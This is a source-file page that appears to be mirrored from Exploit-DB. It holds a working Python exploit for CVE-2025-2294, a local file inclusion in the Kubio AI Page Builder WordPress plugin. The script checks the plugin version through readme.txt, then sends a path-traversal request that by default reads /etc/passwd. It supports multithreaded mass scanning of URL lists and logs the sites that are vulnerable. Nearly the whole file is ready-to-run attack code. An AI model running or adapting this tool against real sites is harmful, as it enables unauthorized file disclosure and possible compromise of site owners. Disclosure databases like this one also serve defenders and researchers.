
7 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Exclusive Addons for Elementor 2.6.9 - Stored Cross-Site Scripting (XSS) IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow Kubio AI Page Builder 2.5.1 - Local File Inclusion (LFI) Next.js Middleware 15.2.2 - Authorization Bypass Royal Elementor Addons and Templates 1.3.78 - Unauthenticated Arbitrary File Upload Apache mod_proxy_cluster - Stored XSS Apache mod_proxy_cluster 1.2.6 - Stored XSS
134 lines
No EOL
5.4 KiB
Python
Executable file
134 lines
No EOL
5.4 KiB
Python
Executable file
# Exploit Title: Kubio AI Page Builder <= 2.5.1 - Local File Inclusion (LFI)
|
|
# Date: 2025-04-04
|
|
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
|
|
# Vendor Homepage: https://wordpress.org/plugins/kubio/
|
|
# Software Link: https://downloads.wordpress.org/plugin/kubio.2.5.1.zip
|
|
# Reference: https://www.cve.org/CVERecord?id=CVE-2025-2294
|
|
# Version: <= 2.5.1
|
|
# Tested on: WordPress 6.4.2 (Ubuntu 22.04 LTS)
|
|
# CVE: CVE-2025-2294
|
|
|
|
"""
|
|
Description:
|
|
|
|
The Kubio AI Page Builder plugin for WordPress contains a Local File Inclusion vulnerability
|
|
in the `kubio_hybrid_theme_load_template` function. This allows unauthenticated attackers to
|
|
read arbitrary files via path traversal. Can lead to RCE when combined with file upload capabilities.
|
|
"""
|
|
|
|
import argparse
|
|
import re
|
|
import requests
|
|
from urllib.parse import urljoin
|
|
from concurrent.futures import ThreadPoolExecutor
|
|
|
|
class Colors:
|
|
HEADER = '\033[95m'
|
|
OKBLUE = '\033[94m'
|
|
OKGREEN = '\033[92m'
|
|
WARNING = '\033[93m'
|
|
FAIL = '\033[91m'
|
|
ENDC = '\033[0m'
|
|
BOLD = '\033[1m'
|
|
UNDERLINE = '\033[4m'
|
|
|
|
def parse_version(version_str):
|
|
parts = list(map(int, version_str.split('.')))
|
|
while len(parts) < 3:
|
|
parts.append(0)
|
|
return tuple(parts[:3])
|
|
|
|
def check_plugin_version(target_url):
|
|
readme_url = urljoin(target_url, 'wp-content/plugins/kubio/readme.txt')
|
|
try:
|
|
response = requests.get(readme_url, timeout=10)
|
|
if response.status_code == 200:
|
|
version_match = re.search(r'Stable tag:\s*([\d.]+)', response.text, re.I)
|
|
if not version_match:
|
|
return False, "Version not found"
|
|
version_str = version_match.group(1).strip()
|
|
try:
|
|
parsed_version = parse_version(version_str)
|
|
except ValueError:
|
|
return False, f"Invalid version format: {version_str}"
|
|
return parsed_version <= (2, 5, 1), version_str
|
|
return False, f"HTTP Error {response.status_code}"
|
|
except Exception as e:
|
|
return False, f"Connection error: {str(e)}"
|
|
|
|
def exploit_vulnerability(target_url, file_path, show_content=False):
|
|
exploit_url = f"{target_url}/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template={file_path}"
|
|
try:
|
|
response = requests.get(exploit_url, timeout=10)
|
|
if response.status_code == 200:
|
|
if show_content:
|
|
print(f"\n{Colors.OKGREEN}[+] File content from {target_url}:{Colors.ENDC}")
|
|
print(Colors.OKBLUE + response.text + Colors.ENDC)
|
|
return True
|
|
return False
|
|
except Exception as e:
|
|
return False
|
|
|
|
def process_url(url, file_path, show_content, output_file):
|
|
print(f"{Colors.HEADER}[*] Checking: {url}{Colors.ENDC}")
|
|
is_vuln, version_info = check_plugin_version(url)
|
|
|
|
if is_vuln:
|
|
print(f"{Colors.OKGREEN}[+] Vulnerable: {url} (Version: {version_info}){Colors.ENDC}")
|
|
exploit_success = exploit_vulnerability(url, file_path, show_content)
|
|
if output_file and exploit_success:
|
|
with open(output_file, 'a') as f:
|
|
f.write(f"{url}\n")
|
|
return url if exploit_success else None
|
|
else:
|
|
print(f"{Colors.FAIL}[-] Not vulnerable: {url} ({version_info}){Colors.ENDC}")
|
|
return None
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Kubio Plugin Vulnerability Scanner")
|
|
group = parser.add_mutually_exclusive_group(required=True)
|
|
group.add_argument("-u", "--url", help="Single target URL (always shows file content)")
|
|
group.add_argument("-l", "--list", help="File containing list of URLs")
|
|
parser.add_argument("-f", "--file", default="../../../../../../../../etc/passwd",
|
|
help="File path to exploit (default: ../../../../../../../../etc/passwd)")
|
|
parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs")
|
|
parser.add_argument("-v", "--verbose", action="store_true",
|
|
help="Show file contents when using -l/--list mode")
|
|
parser.add_argument("-t", "--threads", type=int, default=5,
|
|
help="Number of concurrent threads for list mode")
|
|
|
|
args = parser.parse_args()
|
|
|
|
# Determine operation mode
|
|
if args.url:
|
|
# Single URL mode - always show content
|
|
process_url(args.url, args.file, show_content=True, output_file=args.output)
|
|
elif args.list:
|
|
# List mode - handle multiple URLs
|
|
with open(args.list, 'r') as f:
|
|
urls = [line.strip() for line in f.readlines() if line.strip()]
|
|
|
|
print(f"{Colors.BOLD}[*] Starting scan with {len(urls)} targets...{Colors.ENDC}")
|
|
|
|
with ThreadPoolExecutor(max_workers=args.threads) as executor:
|
|
futures = []
|
|
for url in urls:
|
|
futures.append(
|
|
executor.submit(
|
|
process_url,
|
|
url,
|
|
args.file,
|
|
args.verbose,
|
|
args.output
|
|
)
|
|
)
|
|
|
|
vulnerable_urls = [future.result() for future in futures if future.result()]
|
|
|
|
print(f"\n{Colors.BOLD}[*] Scan complete!{Colors.ENDC}")
|
|
print(f"{Colors.OKGREEN}[+] Total vulnerable URLs found: {len(vulnerable_urls)}{Colors.ENDC}")
|
|
if args.output:
|
|
print(f"{Colors.OKBLUE}[+] Vulnerable URLs saved to: {args.output}{Colors.ENDC}")
|
|
|
|
if __name__ == "__main__":
|
|
main() |